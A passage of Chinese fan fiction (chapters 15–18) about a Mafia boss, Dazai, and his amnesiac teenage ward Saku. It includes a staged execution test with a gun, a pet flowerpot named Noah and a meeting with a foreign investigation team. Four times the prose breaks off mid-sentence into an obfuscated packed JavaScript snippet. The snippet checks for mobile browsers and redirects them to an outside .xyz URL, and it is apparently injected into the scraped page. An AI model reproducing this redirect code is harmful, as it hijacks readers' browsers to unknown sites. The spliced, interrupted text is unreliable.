“唉呀,不要卖可怜喔?我在Mafia,给你找的地方也属于Mafia,这还称不上赶出家门。”太宰站起身,换了衣服,取来外套披上,“Mafia里的扫地出门,意思是死亡,明白吗?朔君,既然你跟着我加入了Mafia,那就只有死才能离开了。” 他在偷换概念,你说的家是某种能够带给人支撑的归宿,而他悄悄把含义转变为了归属的组织,即Mafia。 这种含义即使不细想也很荒唐,毕竟按照这种意思,把Mafia们拉进同一个群聊里,群聊的名字会是相亲相爱一家人。 他看了看此刻的时间,“你回来之前,一直在陀思妥耶夫斯基那里待着?” 你没有直接回答,“他的据点被人炸了,然后我和他就都转移了地方。” 你说的很模糊,仿佛你是与费奥多尔一起离开的,实际上并非如此。 “炸他据点的人应当被颁发奖章。”太宰若有所思。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12705878|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“什么奖?” “□□。”太宰想了想,“或者拯救人类奖。” 完全没觉得给炸掉他人的住所的危险分子颁发□□有什么不对。 “是不是太高级了?”你和他一起想,“费奥多尔先生没怎么受伤呢。” “真可惜。”太宰叹了口气,“那就没有奖章了,但至少值得收到政府的感谢信。” 你也想跟着叹口气,然后变成打了个哈欠——你的这副身体现在非常需要睡眠。 太宰注意到了你的困倦,“朔君先休息吧?睡醒了我有事要交给你。” 他朝门外走,显然是不准备继续睡觉了。 “太宰先生怎么不问费奥多尔先生找我有什么事?”你叫住他。 他停住了脚步,诧异地回头,“朔君要告诉我吗?” 太宰治应该想到了费奥多尔找你有事,但没想到你会主动把事情告诉他。 “重要的事当然要找监护人商量。”你点了点头。 你和格哈德安保服务做交易的时候可不是这么说的。 太宰盯着你看了好一会儿,微微一笑,“他是想让你在我身边当他的探子,还是想让你从我这边取到什么东西?” “费奥多尔先生说,他也遗忘了三天的记忆,但是你可能知道他遗忘了什么,让我从你这边打听。”你毫不犹豫地把费奥多尔的请求告诉了太宰。 “原来如此……我不会告诉他的。朔君也不必去编造谎言,即使他遗失了记忆,也会有自己的判断,不会贸然相信你的话。直言打听不到,或者‘太宰先生告诉我,他也不知道’就好。”太宰眯了眯眼,“他还和你说了什么?” 你想了想,“花盆的保养方法。” 太宰:“?” “费奥多尔先生送了我一只宠物,叫诺亚!是只可爱的花盆。”你认真道。 明明是你抱着花盆不撒手,费奥多尔才无奈答应的。 “哦……哦,这样啊。”太宰脸上浮现出“完全明白了”的神色,彼此之间可以说是毫不相干的词语一个个地往外蹦,“一只……花盆。宠物?对吧。” 他理解与接受事物的速度超越了横滨百分之九十九的人。 “我把诺亚放在你的办公桌上了,它真的很可爱。” 是的,你甚至特意为花盆打开了灯。你自己进门走路都不开灯的。 “要为你的花盆宠物定制小裙子或者小西装试试吗?”太宰停顿了一会儿,随后问道。 ……他的适应能力已经超越人类,达到非人的地步了,不愧是Mafia的首领。 “当然要。诺亚会喜欢的。”你笑道。 也就这样的监护人能理解你的思维,换了别人,想必会连夜把你送进精神病院。 “陀思妥耶夫斯基有告诉你别的吗?”太宰轻轻地点点头,安静了片刻,忽然问,“他会让你帮他做事,一定也是告诉了你一些东西作为交换吧?” “是指什么?” “关于你以前的身份,二叶亭彻。”太宰说。 “据说是军警犯罪对策科的顾问。”你还记得费奥多尔将其简称为犯罪顾问。 “那他有没有告诉你……”太宰注视着你,眼神莫名,“二叶亭彻和我以前是敌人。二叶亭君一直在收集我亲自动手犯罪的罪证,算计过我很多次,但真正意义上成功了的,只有一次。” 15.第十五章 犯罪对策科的顾问二叶亭彻和Mafia的首领是敌人,非常合理。 但你如今不是犯罪顾问,你是——总做噩梦还背地里在擂钵街干坏事,所以很缺乏睡眠的少年Mafia兼宠物博主。 “不管二叶亭彻怎么做,我不会是太宰先生的敌人。”你没有坏心思地说。 仿佛几个小时前,在擂钵街和坡商量着对抗Mafia的不是你似的——不过也是,擂钵街那个易容的神秘人,关你太宰朔什么事。 太宰有些无言地看着你,他叹了口气,“本来我是想报复的。” “咦?” “亲手让一个与我处处作对的犯罪对策科顾问堕落成Mafia,摧毁他在光明之处的一切,这样才能让我的怒火平复……毕竟二叶亭君根本不知道他毁掉了什么。” 太宰平静地说着,他的平静之下有种深暗的情绪在涌动。 他仿佛不知道他说出了怎样残酷冰冷的话。 但太宰在片刻的停顿后,却是笑了笑,“不过……朔君不是二叶亭君,你对我一点敌意也没有,还什么都不知道,报复起来未免也太无聊了,所以我只能放弃这个打算。” “但是也不能放着我不管,所以成为了我的监护人?” “不……”太宰说,“不是这个原因。” “大概是因为……”他看着休息室,看着天花板、墙壁、墙壁上的挂画,看着窗帘,最后转过身,摆了摆手,“我加入Mafia的时候也是十四岁。这样很好玩,就像一个轮回,不是吗?如果朔君能在几年后成为首领,那就真的是一个循环了,我很期待……” 堪称莫名其妙的理由。 他示意你赶快休息,便走出了卧室,顺手关上了门。 “……即使做了几乎同样的事,果然还是没法理解他为什么把我带回Mafia。就凭异能吗,异能啊……” 你隐约能听见他低声念了几句意味不明的话,但随着距离拉远,他的声音也越来越小,到最后完全听不到了。 你打了个哈欠,“我还以为是因为我长得好看呢……” 说实话,虽然你长得也很好,但太宰治不太可能因为你长得好看而对你有太多优待,或者因此收养你。毕竟,他自己每天照镜子,就能免疫好皮囊带来的影响。 “说的也是……”你嘟囔着,“话说……二叶亭彻是怎么成功算计到太宰先生的?太宰先生也能被人算计?” 谁知道呢,说不定二叶亭彻本人都不知道。不如问问诺亚吧,诺亚说得对。 “啧……不说就不说,我迟早会查到。”你慢慢进入了睡眠之中。 这觉睡得不错,你一觉睡到了傍晚,正好赶上日落。 不论别的方面如何,至少在作息这一块,你已经完全融入了Mafia。 你拿起手机看了看,发现你新注册的社交平台上,收到的消息数量为99+。 “嗯?”你疑惑地点开消息,发现都是收到关注和点赞的提醒。 你看了看自己的账号,粉丝数已经突破了四位数,而且还在增长,“虽然擂钵街的日出很好看,但是有这么好看?” 翻了翻评论以及私聊的信息后,你明白了突然收到大量关注的真正原因—— “柴田钦一”关注了你。 这是个能够用“美”来形容的青年。柴田钦一的容貌极其优秀,但他和太宰治不是同一个类型,他是近乎雌雄莫辨的“美丽”。 这个人,说熟悉嘛,的确熟悉,毕竟他是个在横滨非常有名,甚至在海外也有高人气的演员,粉丝数百万,去年的时候主演的一部电影在日本爆红,热度到现在还没完全过去。 但是说陌生也十分陌生,因为你不认识他。 你看了看他的认证——“港口Mafia发言人;演员。” 发言人——Mafia的门面、Mafia事务所对外交涉的宣传官,以及,能不杀就不杀的人。 如果说Mafia的神秘首领平均每天遭遇一个刺杀,那么Mafia的发言人,就是没人愿意去刺杀,连误杀都要尽可能避免的麻烦鬼。 这位大明星要是不明不白地死了,全世界的狂热粉丝哪怕掘地三尺也会把凶手找出来,给发言人陪葬。 他会关注你,除了“太宰朔”的身份,不可能有其他原因。 虽然不知道他是怎么得知的这是你的账号,但发言人关注你,肯定是经过了太宰治的同意。 毕竟你的存在,按理来说应当是越少人知道越好,他不可能擅自让你引起其他人注意。 你回关了他。 随后你便关闭了收到新关注的消息提醒,不紧不慢地起床洗漱。 桌子上的酒已经被放回了原位,酒杯也清洗干净放在了相应的位置,应该是有人来收拾过了。 走出门,办公室的灯依然开着,诺亚安静地呆在桌子上,没有跑到别的地方去。 “好乖。”你摸了摸花盆。 ……有没有一种可能,它也活泼叛逆不起来。 花盆对比起早晨时的模样,有了些改变——它的身上被绷带缠得严严实实。 就像冬天时,人们给树干上绑稻草绳让树保暖一样,层层绷带给诺亚起到了一个很好的保暖效果……如果它会冷的话。 你随手给诺亚拍了一张照片,发了个动态,“诺亚的新衣服,绷带木乃伊套装。”,并带了个“萌宠”的话题。 干得好,你已经迈出了宠物博主的第一步——尝试让大家相信花盆是萌宠。 你没看后续评论,因为你收到了太宰的信息,【没和你商量就给诺亚穿了这样的衣服,朔君不喜欢的话可以随时换掉。】 你回:【很喜欢。】 太宰治:【喜欢的话也可以随时换掉。】 你:【太宰先生又出门了吗?辛苦了。】 太宰治:【已经回来了。朔君还是别想着趁我不在,再不声不响地溜出去喔。】 你在花盆照片上加了一个词,“乖巧”,然后将其作为表情包发给了太宰。 太宰治:【这招对我没用。来一趟地下监牢吧,朔君。之前说过的,我得告诉你坏人很可怕,不能被他们骗走。】 你:【太宰先生你记性真好。】 太宰治没再回复。 …… 直升顶楼的电梯不通向Mafia的地下监牢,你来到一楼,然后沿着石阶向下走。 左右两侧冰凉的石壁上长着青苔,你还未进去,就能感觉到一股与事务所其他地方截然不同的凉意。 “这种地方夏天的时候可以用来保鲜蔬菜。”你若有所思。 也不是不行,如果没有冰箱的话…… 你闻到了浓郁的血腥味,还有与血腥味混杂在一起的种种奇怪味道。这里安装了通风系统,但不祥的气味还是在长年累月中,附在了这里的每一寸地板、墙壁里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12726733|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“看来是用来保鲜尸体的。”你叹息一声。 猜你想找:停尸间。 这个地方叫地下监牢,最多制造尸体。 大约十来个Mafia围在一起,背对着你,注视着监牢另一头的什么东西。 你一下子就在众多Mafia中找到了太宰治的位置,他被众星捧月般保护在中间。 你还看见一个你认识的熟人,那就是医生。他在角落里站着,表情有些沉凝,看到你来了,朝你露出一个笑容。 那笑容有点奇怪,不是友好打招呼的笑容,但你也没明白他的笑容里有什么深意,可能他天生爱笑。 “朔君来了。”太宰稍稍转过身,示意你到他身边。 你走过去,Mafia们自动让开了一条路。 这时,你也终于能看清他们正注视着什么…… 那是一个栗发的青年,手被捆着,半跪在地上。 中原中也在其旁边,面无表情,一只手插在口袋里,另一只手按在青年的头上,似乎他也没有施多大的力,但这青年却仿佛因此而身体僵硬,无法做出任何逃离的动作。 “有叛徒把你的行踪泄露了出去,所以,我就让闲得没事干的中也带人调查了一番。” 周围的人大气都不敢喘,所以显得太宰的声音在地下监牢中十分清晰响亮。 他说完这句话之后,中也当即撇了撇嘴,低声说了句什么,距离太远你听不见,从唇语可以读出他说的是“好心没好报”…… “这一查就发现,不知道什么时候,组织里竟然混进了好几个内鬼,而且来自不同的势力。”太宰笑了笑,“好像把我们Mafia当成什么想来就来,想走就走的地方了。” 他虽然笑着,语气也十分轻松,说出的话却冰冷得可怕。 “我想了一下,哪有一直防骗、防着他们带走你的道理呢,还是直接把坏人干掉比较好。所以,朔君,其他叛徒都已经处决掉,但我特意留了一个给你。” 太宰治当着你的面,为手枪装弹上膛。 “对面这个家伙叫立原道造,你现在可能忘了,但你以前应该认识他,因为虽然他不愿意说,但如果我猜得没错,他和军警有关系……” 一言不发的立原道造闻言,抬起了头。 他看到了你,眼神中有几分怔然……他的确认识你……认识少年二叶亭彻的脸。 太宰走到你身后,轻轻俯下身,将枪放在了你的手中。他手把手教你拉开保险,瞄准了立原道造的头颅。 你的手被握着,食指被放在扳机上。你无法偏移枪口,一旦开枪,一定会给立原道造带来致命伤……他会死。 你能感觉到太宰治身上的温度,但你的后背却一阵阵发冷,你已经意识到接下来会发生什么……这才不是什么防骗防坏人的手段!这是试探、惩罚、还是报复? “把坏人干掉吧?朔君。”太宰轻笑着说。 你一动不动,你的这具身体非常抗拒这个指令。 明明半小时前,你还在舒适地睡觉,而现在,你却在用枪指着另一个人……巨大的反差,让你的身体产生了轻微的僵直,但扣动扳机这种动作太过简单,身体的抗拒无法阻拦你的行动。 最终的选择权,还在你的手中。 “开枪吧。”见你没有动静,太宰的声音低了一些。你无法捉摸他的真实想法,他平静又残酷地说,“不杀人的Mafia,是会死的。” 16.第十六章 在你面前的立原道造,是那样年轻,他比现在的你大不了多少岁。 他的脸上有伤口,鼻梁上贴着创口贴,眼神坚毅而冷静,看上去经历颇多,但他的真实年龄恐怕还不到二十。 也许他有和诺亚一样的宠物需要他照顾,也许他有未完成的梦想,也许他有等着他回家的人……他的未来还有无限的可能,而你的枪口却指着他。 你真的明白这样做的意味吗,这是一个活着的人类,而不是游戏里击败之后能够增长经验值的NPC。 其实,如果你不开枪,由于你教堂案唯一幸存者的身份,即使太宰治说“不杀人的Mafia会死”,他也不太可能杀你。 就算出现最坏的情况,你还有异能,完全不会有什么实质上的损失。 而如果你开枪,这一发子弹会终结一条生命。 并且,或许你知道,当一个人的手沾上一次血,罪恶就会在他的灵魂上烙下永恒印记,如果你杀死了他,你将永远无法摆脱这份罪恶……太宰朔,你真的、真的做好准备了吗? 你扣动了扳机。 砰。 不是空弹匣。 火药燃烧形成的高压,迅速推动子弹自枪管中激射而出。 就在这一瞬间,异能的光芒闪动,子弹稳稳地停在了离立原道造的额头几厘米的位置。 “毫无对生命的敬畏。”中也松开手,走到立原身前,将子弹抓住,像抛弹珠似的抛了抛。随后他看向太宰,耸了耸肩,“你带回来一个天生的Mafia。” 立原不费多少力气就解开了绳索,他慢慢站起身,“首领,我这算是将功补过了吗?” “立原君自己觉得呢?”太宰松开你的手,推动枪支的保险装置。 然后,他漫不经心地把手枪又放回了你的手中,低声笑道,“骗你的啦——朔君,我也属于会骗人的坏人哦……我担心你被像我这样的坏人骗走,不过,朔君也是坏人的话,那就没关系了。” “没发现部下中有内鬼,是我失职……”立原垂头丧气,“任凭首领处置。不过真的不关老爷子的事啊,那人是我招进黑蜥蜴的……” 他的声音越来越小,身体有些紧绷,可能是因为失职要被处罚而感到紧张。 太宰没有说要如何处置立原,而是先晾着他,继续轻声对你说道,“这把枪交给你了。” “因为我表现得很好?” “不。” 你无法从太宰未被绷带覆盖的右眼中揣测出任何情绪。 这家伙的表情管理是世界级的。 “朔君这一枪让我……另眼相看呢。但是就算你不开枪,这把枪也会交给你,毕竟自保的手段是必要的。至于你的异能,还是不要轻易动用比较好。朔君,你知道你的异能的最大优势是什么吗?” “什么?” “优势是到现在,你的异能的发动机制只有少数的几个人知道,还是个隐秘。”太宰平淡地说,“对付你的异能太容易了,你就像游戏里需要读条的法师,假如被他人知道你在读条,杀死你只需要打断施法。最让人忌惮、恐惧的,是未知,所以异能的具体效果,越少人知道、越模糊越好,这是异能者群体里面心照不宣的规则。” 他顿了一下,“哦,中也那种不算,如果朔君能把横滨打爆,把异能放在电视上循环广告都无所谓。” “我会努力把横滨打爆的。”你认真地点了点头。 太宰欲言又止。 他说的话肯定不是鼓励你把横滨打爆的意思。 “骗你的啦——太宰先生。” 你扬起嘴角,露出一个猫儿一样的笑容,语气轻快,和太宰的语气如出一辙。 太宰治直直地站在你的身边,看着你,他好像明白了什么。 “看来朔君比我想的还聪明许多,你一开始就发现了?” 你卸下弹匣,检查枪支,随意地说道,“没错。我早就知道太宰先生在骗我,不管怎么样,立原君都不会有事。如果是这样,开枪和不开枪,最后的结果都是一样的,区别只在于前者是首领的命令,而我并没有违背。” 此话一出,Mafia们都把视线聚在了你身上。 太宰饶有兴趣地注视着你,“怎么猜到的?” “组织内处决叛徒的方式,并不是简单地开一枪把人打死就算了。”你把检查过的手枪和弹匣收好,“我记得是……先让叛徒咬着台阶,从背后踢他的后脑勺,压断他的下巴,然后把人翻过来,朝他胸口开三枪。” 你抬眼看了一下立原,他站在中原中也身后,脸上没有多余的表情。 “所以立原先生并不是需要处决的叛徒。”你微笑道。 太宰也笑了起来,“还有呢?仅凭这一点是无法确定的,首领想一枪快速处理掉叛徒,也没人会说什么。” “还有就是,假如他真的如太宰先生所说,是军警派来的卧底……”你的视线在立原身上转悠着,“Mafia杀掉他不会得到很好的利益,反而会让他们更紧咬着不放,这对现在的局势来说是不利的,太宰先生不可能让我轻易杀了他。” “再有嘛……抓到叛徒,在其死前,肯定得先审讯一下其背后的组织,以及相关的情报。” 你慢条斯理地绕过中原中也,走到立原身前。 立原镇静地看着你。 “但立原先生的身上,没有新的经审讯过的伤口,所以也能肯定,太宰先生不会让他轻易死亡,我这一枪带不走他。” “诸如此类的细节还有很多,比如说,如果是叛徒,周围护卫们的眼神里至少会有憎恶与仇恨,但我却没有看到。再比如说,地下监牢的血腥味有点严重了,通风系统运转良好,不应该有这么浓重的血腥味,说明今天这里有人受伤,但我却没有看到伤者,只看到台阶那边有几个弹头……内鬼想必已经处决掉了吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12753810|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你轻轻拍了拍立原的手臂,立原愣了愣,露出一个有点勉强的笑容。 他下意识抬手,似乎想摸摸你的脑袋,而你将头一偏,轻巧地躲过了。 中也走到太宰旁边,低声说话,但由于现在太过安静,还是能听到他说的是什么,“这小子真的不是你的某个亲戚吗?” 太宰看了看他,“中也,你听到你的帽子说话了吗?” “哈?” “你的帽子经过严谨的思考,告诉你这毫无可能性呢。务必多向帽子君学习,听话哦。” “……喂!太宰……但他和你真的好像。”中也瞄了你一眼,“正常人谁会想到这么多。一般来讲,不就是希望自己活着,就开枪,希望立原活着,就不开枪吗?” “如果是你,你会开枪吗?”太宰问中也。 “我会想把子弹掉个方向,但假如你就这么死了未免也太轻松了……”中也说着,扭过头去,“会。因为你说的话就是命令。” “如果我不是首领呢?” “也会……你说是叛徒,那就肯定是叛徒了,你要是莫名其妙骗我,我就揍你一顿。”中也不耐烦地说,“行了,哪来那么多问题?” 这一番对话下来,把中原中也惹得懒得理他,太宰笑眯眯的,心情肉眼可见地好了不少……把自己的快乐建立于别人的炸毛之上,真恶劣。 太宰靠近了你和立原。 “立原君,你没有管好手下,部下里面的叛徒把消息传了出去,差点让朔君遭遇危险,所以,暂停你十夫长的职务,没意见吧?” “没意见。”立原道造迅速地说,面对这样的结果,他似乎松了口气。 “把你派给朔君当随身护卫,也没意见吧?”太宰微笑道。 “护卫?”立原愣了一下,反应过来后连忙道,“首领安排我去哪,我就去哪。” 太宰看了看你,说出了叫你来地下监牢的理由,原来并不是只为了骗骗你,“朔君,这次叫你来的真正目的,其实是让你和立原君见一面,熟悉他的异能。经过刚才的事,你应该了解他的异能了——” “操纵子弹。”立原说。 可不是嘛,刚才那一遭,谁都对他的异能印象深刻了。 太宰轻轻地“嗯”了一声,“立原君,你现在是朔君的护卫,你要寸步不离地跟着他,哪怕你死了,朔君也不能有事,明白吗?” “明白!”处罚确定了下来,立原比先前有精神许多,不再那么紧绷了。 这时候,太宰治身上的某种残酷黑暗却显现了出来,他笑道,“哪怕,朔君要杀了你,他也不能有事。明白吗?” “明白……!”立原直直地看着太宰,似乎发觉这样不够尊敬,又匆忙低下了头。 太宰笑眯眯地伸出手,像是想搭在立原的肩膀上,却又在临近触碰到时,收回了手,只是眼含笑意盯着立原,意味深长道,“这是命令哦,立原君。” 17.第十七章 “朔先生的宠物……在哪?”立原看着你把花盆抱起来,他四下看了看,最后又把视线移到花盆上。 “就在这,它叫诺亚。” “呃,哪儿?……朔先生,你有没有觉得,这里很空?”立原委婉地说,“也许花盆里面,应该种点什么?” 如果是植物作为宠物,的确会容易让人接受许多。 看吧,太宰治和费奥多尔那种飞速理解了“花盆是宠物”的人才是异类,事实上,正常人都不会立即把花盆往宠物的方向想—— 你能一连遇到两个接受你的思路的人,也算是一种奇迹,但世界上的奇迹没有那么多。 “你没看见吗?”你诧异地指着花盆,“这里有一朵玫瑰,开得很漂亮呢。” 听说过指鹿为马的传闻,从没听说过指空气为玫瑰的。 “不过上面施加了异能,只有聪明人才能看见。”你一只手抱着花盆,另一只手摸了摸花盆上方的空气,仿佛在抚摸压根不存在的玫瑰。 “那什么……虽然我不是非常聪明,但也不是会被这种说法骗到的笨蛋啦!”立原叫道。 “立原君没有看见花盆里的玫瑰,当然是笨蛋啊。”你走到立原面前,将花盆稍稍递过去,“不信你伸手试试,可以摸到花瓣哦,不过要小心一点,它的枝干有刺。” 立原有些迟疑地伸出手——摸到了一手空气。 你点了点头,微微一笑,什么也没有说,抱着诺亚往门外走。 意识到被骗的立原呆滞地看着你,一切尽不在言中…… 全新的笨蛋诞生了。 在去Mafia职工餐厅的路途中,陷入怀疑人生状态的立原跟在你身后。 虽然一副神游天外的表情,但他依然记着自己护卫的职责,时刻观察着四周,几乎是本能地警戒着。 你打开社交平台的账号,发现就在这短短的时间里,粉丝数又涨了不少。 此前发的关于诺亚换上新衣服的动态,评论区里充满了问号。 【这个木乃伊看上去真像个花盆。】 【众所周知,猫可以是任何形状,所以这是花盆形态的猫咪。】 【只有我觉得这个花盆很可爱吗?三分钟,我要它的全部信息。】 你给一些评论点了赞,看了一下关注列表,Mafia发言人发了好几条新动态。 一条是新电影宣传,还有一些是转发“Mafia事务所”的动态。 比较值得注意的,其中一条概括来说是“Mafia事务所的首领参与租地人会议,与议员们讨论了公众所关注的群体失忆事件”。 发言人转发评论:“Mafia事务所致力于消除群体失忆事件带来的负面影响,努力维持横滨稳定。对于‘Mafia是制造此次事件的罪魁祸首’的不实言论,表示坚决反对。” 还有一条是关于异能者被异能杀害事件,发言人转发评论:“有的人不要总把屎盆子扣Mafia头上,我们是有异能经营许可证的合法势力,组织成员中有大量异能者,比任何人都希望制造该事件的罪犯早日被绳之以法。(微笑)” 你翻着翻着,刷新时忽然看见发言人在一分钟前发了一条新动态。 点进去一看,他竟然转发了诺亚的那张照片—— “好久没主动联系我的首领,今天一大早就把我叫到了办公室,他和我说,‘柴田君,你的衣品一向是组织里最顶尖的,想必请人为诺亚定制几件合适的衣服也不在话下吧。’我受宠若惊,当时就在想,找我可是找对人了,定制几件衣服而已,这不是易如反掌吗?一个绝佳的在首领面前好好表现的机会,一定要抓住,于是当即就答应了下来,问诺亚在哪。然后首领告诉我,这个花盆叫诺亚……” 他这么一转发,你这条动态的点赞数直线上升。 怎么形容呢……整个评论区都炸了。 有打听首领的,有打听花盆以及你本人的,更多的是发哈哈哈以及问号的。 评论出现的速度快到你看不过来。 你一键屏蔽了所有消息提醒,放下了手机。 因为你的晚餐已经制作好了,餐厅员工给你端上了荞麦面。 面条的卖相很不错,是手工制作的面条。有专门的小碗,分别装着酱汁、白萝卜泥和芥末,和外面一些餐厅有区别的是,Mafia里的冷食荞麦面上洒了白芝麻,看上去更为精致。 可能是有点太素了,你又点了一份天妇罗。 天妇罗炸得十分酥脆,你一口咬下去,炸得金黄的外壳碎裂的声音十分诱人。Mafia餐厅里的厨师水平很好。 太宰治忘了给你零花钱,但是立原表示这个餐厅里,武斗派成员来用餐是免费的。 “你是武斗派的成员,但我也是吗?”你疑惑道。 “朔先生是准干部,准干部在组织内权限很高,自然也可以免费用餐。”立原解释道。 “我怎么就成准干部了?” “因为首领说……您的实力能同时击败了两名准干部,并且击退了代号为‘小丑’的强大敌人。”立原说,“这件事昨天晚上就在旗会里传疯了,都传到我们黑蜥蜴来了。旗会能对真实性做出证明,所以首领办公室早上发文件,公告你是新的准干部,没人不服气的。” 如果说两个准干部是指医生和冷血,而悄无声息地甩掉他们算是击败的话,那还真没错。 至于代号为“小丑”的强大敌人,应该是指果戈里。 似乎整个Mafia都知道你是准干部了,唯独你不知道。 你的睡眠质量相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12771914|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当好,睡醒了就被太宰叫去,没空查看Mafia周刊和内部论坛。 “我记得,准干部的身份是隐秘?” “朔先生的名字没有明示,只是样貌发给了一部分成员,给一定范围的Mafia们辨认了一下,方便你调动一些人员。”立原说。 你打开Mafia的内部论坛查看了一番,发现立原所说的都是实话。 太宰治大概率会给准干部分派任务,看来你不用向太宰要零花钱了,你可以直接向他……要工资? “Mafia里的职务算工作吗?Mafia明面上是事务所,也有许多产业……但我只是个少年而已。”你想了想,“立原,你是几岁的加入Mafia?” “十三、十四岁?”立原有些不确定,“龙头抗争那段时间,反正挺早的。” 横滨有大量流离失所的孩童,许多少年都是在十来岁的时候就加入了犯罪组织,能加入Mafia的寥寥无几,要么靠能力,要么靠幸运。更多的在擂钵街这样的地方游荡,抱团接受灰色的委托,或者为了生存做违法的事。 “太宰先生之前说过,他也是差不多这个年龄加入Mafia的。”你问,“立原君,你见过以前的太宰先生吗?” “只远远见过几次……”立原斟酌了一下,看了看四周,见周围没人,低声告诉你,“首领是外面传的‘双黑’中的另外一人,那时候首领还没成为首领,但在组织内已经有很大的威望了。不过,即使如此……他成为首领的道路还是很困难,遭到了很多人反对。” 你点了点头,“所以,太宰先生把我击败两个准干部以及果戈里的事宣传出去,是在帮我刷声望吗,但这点程度的声望还不够……” 这时候,你的手机忽然响起了月光奏鸣曲——这是你为太宰治设置的来电铃声。 “喂,太宰先生?”你盘中的荞麦面已经吃完了,你把剩下的几个天妇罗推到立原的面前,眼神示意他解决掉。 立原也有不浪费粮食的美德,进食速度加快了不少,风卷残云一般,很快就完成了光盘。 “朔君,来一趟一楼的会客厅吗?有人想见你。” “是什么人?”你问。 “特务科和美方的调查团。”太宰说,“主要是调查团,特务科是陪他们来的。‘你是二叶亭彻,并且在Mafia’这件事,不知怎么,泄露到海外调查团那边去了。” “迟早会泄露。”你说。 “没想到会这么快。”太宰说,“朔君,不管他们查不查得到你的真实异能,都一定会找借口想把你带走,或者制造意外。如果你不想见他们的话,我帮你推掉。” “会给太宰先生带来麻烦吗?”你问。 “一点小麻烦哪里比得上你的意愿呢。”太宰笑道。 18.第十八章 会客厅里安静得过分,充满冷肃的气息,仿佛凛冬已然降临。 太宰治坐在一边的沙发上,他身后站着芥川银,还有几个护卫。 他对面坐着几位五官立体的西方人,他们就是来自海外的调查团成员。 你看见了一个熟悉的人,那人和上次见面时一样,仍然低着头,捧着书,只不过坐在沙发的角落里——坡先生,你此前在擂钵街见过的坡,竟然也在其中。 你的推门而入让所有坐着的人都把目光转向了你。 “噢,我们光彩夺目的主角来了——”坐在另一侧沙发正中间,穿着白色西装的金发男人看上去心情不错,他对你的称呼也很正确。 你是事件的焦点、舞台的主角。 只要你站在这里,哪怕一言不发,都能抓住所有人的眼球。 “朔君,这位是菲茨杰拉德先生,调查团的领队。” 被太宰称为“菲茨杰拉德”的金发男人浑身带着上位者的气场。他有一双湛蓝的眼睛,蓝色通常是代表澄澈与忧郁的颜色,但他的这双蓝眼睛中,唯有意气风发与绝对的自信。 这是个难对付的人物。 在Mafia和海外调查团之间,还坐着一支势力——异能特务科。 特务科竟然只派了一个文职人员来。那是个戴圆框眼镜的斯文青年,其身后也站着两名护卫。 你见过的辻村小姐不在其中。 要么是他们觉得这位眼镜青年就足以应对此番场面,要么是最近横滨的事情太多,他们人手不够,或者二者兼有。 太宰没介绍特务科的人——的确没这个必要,毕竟特务科来这里只是起到一个监管并记录此次谈话的作用。 这三支势力的关系十分微妙。 特务科不能得罪海外调查团,但能够管控属于本土势力的Mafia;Mafia对调查团无所畏惧,但不能和特务科撕破脸;而调查团则能够以外宾身份压制特务科,却对暴力团伙Mafia没有以势压人的办法。 “经典水火草三系克制关系。”你嘀咕了一句。 ……现在不是选择初始宝可梦属性的时候。 你选择了妙蛙种子……不是。你在Mafia这边,也就是太宰的身边坐下。 立原跟着进来,站在沙发后面。 “十月十七日下午三点,以山手地区的教堂为中心检测到高能特异点波动的扩散,特异点造成了大规模的群体失忆,影响范围大到几乎包括整个横滨。而在教堂中,只有一地的尸体,以及一名幸存者,那名幸存者就是你,二叶亭彻。” 菲茨杰拉德旁边拿着文件的助理看着资料并将其念了出来,与此同时,调查团的成员们都紧紧盯着你,尝试从你的表情中捕捉到任何异样的地方。 “二叶亭彻,二十二岁,军警犯罪对策科顾问。”他们从文件袋里拿出了几张照片放在矮桌上。 你瞥了照片一眼,上面都是成年版本的“你”。 大部分照片角度是监控视角,二叶亭彻穿着黑色的外套,衣领竖得很高,笔直地站在斑马线的一边,或者是手插在口袋里,常是一个走动的动作,监控截图稍有些模糊,让他看起来像一个神秘的黑色幻影——其实还挺酷的。 